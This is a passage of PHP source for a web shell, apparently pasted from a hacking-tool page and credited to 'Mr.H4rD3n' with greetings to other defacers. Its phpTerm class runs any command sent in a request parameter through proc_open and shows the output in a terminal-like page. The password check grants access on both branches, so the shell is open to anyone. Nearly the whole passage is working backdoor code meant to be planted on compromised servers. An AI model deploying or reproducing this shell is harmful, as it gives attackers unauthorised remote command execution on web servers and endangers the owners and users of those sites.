  1034. 'dir' => 'ls' );
  1035. $passwd = array('' => '');
  1036. error_reporting(1);
  1037. class phpTerm {
  1039. function formatPrompt() {
  1040. $user=shell_exec("whoami");
  1041. $host=explode(".", shell_exec("uname -n"));
  1042. $_SESSION['prompt'] = "".rtrim($user).""."@"."".rtrim($host[0])."";
  1043. }
  1045. function checkPassword($passwd) {
  1046. if(!isset($_SERVER['PHP_AUTH_USER'])||
  1047. !isset($_SERVER['PHP_AUTH_PW']) ||
  1048. !isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
  1049. $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
  1050. @session_start();
  1051. return true;
  1052. }
  1053. else {
  1054. @session_start();
  1055. return true;
  1056. }
  1057. }
  1059. function initVars()
  1060. {
  1061. if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset']))
  1062. {
  1063. $_SESSION['cwd'] = getcwd();
  1064. $_SESSION['history'] = array();
  1065. $_SESSION['output'] = '';
  1066. $_REQUEST['command'] ='';
  1067. }
  1068. }
  1070. function buildCommandHistory()
  1071. {
  1072. if(!empty($_REQUEST['command']))
  1073. {
  1074. if(get_magic_quotes_gpc())
  1075. {
  1076. $_REQUEST['command'] = stripslashes($_REQUEST['command']);
  1077. }
  1079. // drop old commands from list if exists
  1080. if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
  1081. {
  1082. unset($_SESSION['history'][$i]);
  1083. }
  1084. array_unshift($_SESSION['history'], $_REQUEST['command']);
  1086. // append commmand */
  1087. $_SESSION['output'] .= "{$_SESSION['prompt']}".":>"."{$_REQUEST['command']}"."\n";
  1088. }
  1089. }
  1091. function buildJavaHistory()
  1092. {
  1093. // build command history for use in the JavaScript
  1094. if (empty($_SESSION['history']))
  1095. {
  1096. $_SESSION['js_command_hist'] = '""';
  1097. }
  1098. else
  1099. {
  1100. $escaped = array_map('addslashes', $_SESSION['history']);
  1101. $_SESSION['js_command_hist'] = '"", "' . implode('", "', $escaped) . '"';
  1102. }
  1103. }
  1105. function outputHandle($aliases)
  1106. {
  1107. if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command']))
  1108. {
  1109. $_SESSION['cwd'] = getcwd(); //dirname(__FILE__);
  1110. }
  1111. elseif(ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs))
  1112. {
  1113. // The current command is 'cd', which we have to handle as an internal shell command.
  1114. // absolute/relative path ?"
  1115. ($regs[1][0] == '/') ? $new_dir = $regs[1] : $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
  1117. // cosmetics
  1118. while (strpos($new_dir, '/./') !== false)
  1119. $new_dir = str_replace('/./', '/', $new_dir);
  1120. while (strpos($new_dir, '//') !== false)
  1121. $new_dir = str_replace('//', '/', $new_dir);
  1122. while (preg_match('|/\.\.(?!\.)|', $new_dir))
  1123. $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
  1125. if(empty($new_dir)): $new_dir = "/"; endif;
  1127. (@chdir($new_dir)) ? $_SESSION['cwd'] = $new_dir : $_SESSION['output'] .= "could not change to: $new_dir\n";
  1128. }
  1129. else
  1130. {
  1131. /* The command is not a 'cd' command, so we execute it after
  1132. * changing the directory and save the output. */
  1133. chdir($_SESSION['cwd']);
  1135. /* Alias expansion. */
  1136. $length = strcspn($_REQUEST['command'], " \t");
  1137. $token = substr(@$_REQUEST['command'], 0, $length);
  1138. if (isset($aliases[$token]))
  1139. $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
  1141. $p = proc_open(@$_REQUEST['command'],
  1142. array(1 => array('pipe', 'w'),
  1143. 2 => array('pipe', 'w')),
  1144. $io);
  1146. /* Read output sent to stdout. */
  1147. while (!feof($io[1])) {
  1148. $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),ENT_COMPAT, 'UTF-8');
  1149. }
  1150. /* Read output sent to stderr. */
  1151. while (!feof($io[2])) {
  1152. $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),ENT_COMPAT, 'UTF-8');
  1153. }
  1155. fclose($io[1]);
  1156. fclose($io[2]);
  1157. proc_close($p);
  1158. }
  1159. }
  1160. } // end phpTerm
  1162. /*##########################################################
  1163. ## The main thing starts here
  1164. ## All output ist XHTML
  1165. ##########################################################*/
  1167. $terminal=new phpTerm;
  1169. @session_start();
  1171. $terminal->initVars();
  1172. $terminal->buildCommandHistory();
  1173. $terminal->buildJavaHistory();
  1174. if(!isset($_SESSION['prompt'])): $terminal->formatPrompt(); endif;
  1175. $terminal->outputHandle($aliases);
  1177. header('Content-Type: text/html; charset=UTF-8');
  1178. echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
  1179. /*##########################################################
  1180. ## safe mode increase
  1181. ## bloque fonction
  1182. ##########################################################*/
  1183. ?>
  1185. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  1186. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  1187. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  1188. <head>
  1189. <title>\-( CMD Command )-/</title>
  1191. <script type="text/javascript" language="JavaScript">
  1192. var current_line = 0;
  1193. var command_hist = new Array(<?php echo $_SESSION['js_command_hist']; ?>);
  1194. var last = 0;
  1196. function key(e) {
  1197. if (!e) var e = window.event;
  1199. if (e.keyCode == 38 && current_line < command_hist.length-1) {
  1200. command_hist[current_line] = document.shell.command.value;
  1201. current_line++;
  1202. document.shell.command.value = command_hist[current_line];
  1203. }
  1205. if (e.keyCode == 40 && current_line > 0) {
  1206. command_hist[current_line] = document.shell.command.value;
  1207. current_line--;
  1208. document.shell.command.value = command_hist[current_line];
  1209. }
  1211. }
  1213. function init() {
  1214. document.shell.setAttribute("autocomplete", "off");
  1215. document.shell.output.scrollTop = document.shell.output.scrollHeight;
  1216. document.shell.command.focus();
  1217. }
  1219. </script>
  1220. <style type="text/css">
  1221. body {font-family: sans-serif; color: black; background: white;}
  1222. table{width: 600px; height: 300px; border: 1px #000000 solid; padding: 0px; margin: 0px;}
  1223. td.head{background-color: #529ADE; color: #529ADE; font-weight:700; border: none; text-align: center; font-style: italic}
  1224. textarea {width: 100%; border: none; padding: 2px 2px 2px; color: #529ADE; background-color: #000000;}
  1225. p.prompt {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #529ADE;}
  1226. input.prompt {border: none; font-family: monospace; background-color: #000000; color: #529ADE;}
  1227. </style>
  1228. </head>
  1230. <body onload="init()" style="background-color:#000000">
  1232. <h2>POwER CoMMaNdE</h2>
  1234. <?php if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 26; ?>
  1236. </div>
  1237. <div align="center">
  1239. <table cellpadding="0" cellspacing="0">
  1240. <tr><td class="head" style="color: #000000;"><b>PWD :</b></td>
  1241. <td class="head"><?php echo $_SESSION['prompt'].":"."$_SESSION[cwd]"; ?>
  1242. </td></tr>
  1243. <tr><td width='100%' height='100%' colspan='2'><form name="shell" action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
  1244. <textarea name="output" readonly="readonly" cols="85" rows="<?php echo $_REQUEST['rows'] ?>">
  1245. <?php
  1246. $lines = substr_count($_SESSION['output'], "\n");
  1247. $padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
  1248. echo rtrim($padding . $_SESSION['output']);
  1249. ?>
  1250. </textarea>
  1251. <p class="prompt"><?php echo $_SESSION['prompt'].":>"; ?>
  1252. <input class="prompt" name="command" type="text" onkeyup="key(event)" size="50" tabindex="1">
  1253. </p>
  1255. <? /*<p>
  1256. <input type="submit" value="Execute Command" />
  1257. <input type="submit" name="reset" value="Reset" />
  1258. Rows: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" />
  1259. </p>
  1260. */?>
  1261. </form></td></tr>
  1262. </div>
  1263. </table>
  1265. </div>
  1266. </body>
  1267. </html>
  1268. <?php ?><html><head><title>#Commanders - Private By Mr.H4rD3n - IsLamiC Warrior Team</title></head><body bgcolor="BLACK" background="http://localhost/a/matrix-animated-image.gif" style="background-color:#000000"></body></html></html><?php
  1270. }
  1271. //------------------------------------------------------------------------------------------------
  1272. ?>
  1274. <?php
  1275. }
  1276. // End Shell
  1277. //-------------------------------------------------------------------------------------------------
  1278. ?>
  1279. <br /><br /><br /><font color="#23B627"><br />
  1281. </font>
  1283. <div class="end">
  1284. <p align="center"><font color="#FFFFFF"><b>––•(-• © Copyright Mr.H4rD3n [All rights reserved] •-)•––</b><br />
  1285. </font><font face="Verdana"><font color="#23B627">
  1286. <a href="mailto:exploit-id@hotmail.com"><span style="text-decoration: none">
  1287. <font color="#000000">My Email</font></span></a></font> | <font color="#23B627">
  1288. <a href="http://facebook.com/Mr.H4rD3n"><span style="text-decoration: none">
  1289. <font color="#000000">Facebook</font></span></a></a></font><a href="http://facebook.com/Mr.H4rD3n"><span style="text-decoration: none"><font color="#000000">
  1290. </font></span></a>:) </font>
  1291. <font color="#FFFFFF"> <br />
  1292. \m/ <b>Greetz to</b> : Dr-AngeL - X-Line - Ghost.0f.Morocco - xMjahd - 4chrf -
  1293. KhantastiC - X internet - And yOu ! \m/<br />
  1294. "" WE ARE MUSLIMS, WE CAN NOT HARM ANY SITE I HOPE TO USE THIS TOOL ONLY WHAT
  1295. PLEASE GOD "" </font>
  1297. </p>
  1298. </div>
  1299. </body>
  1300. </html>
comments powered by Disqus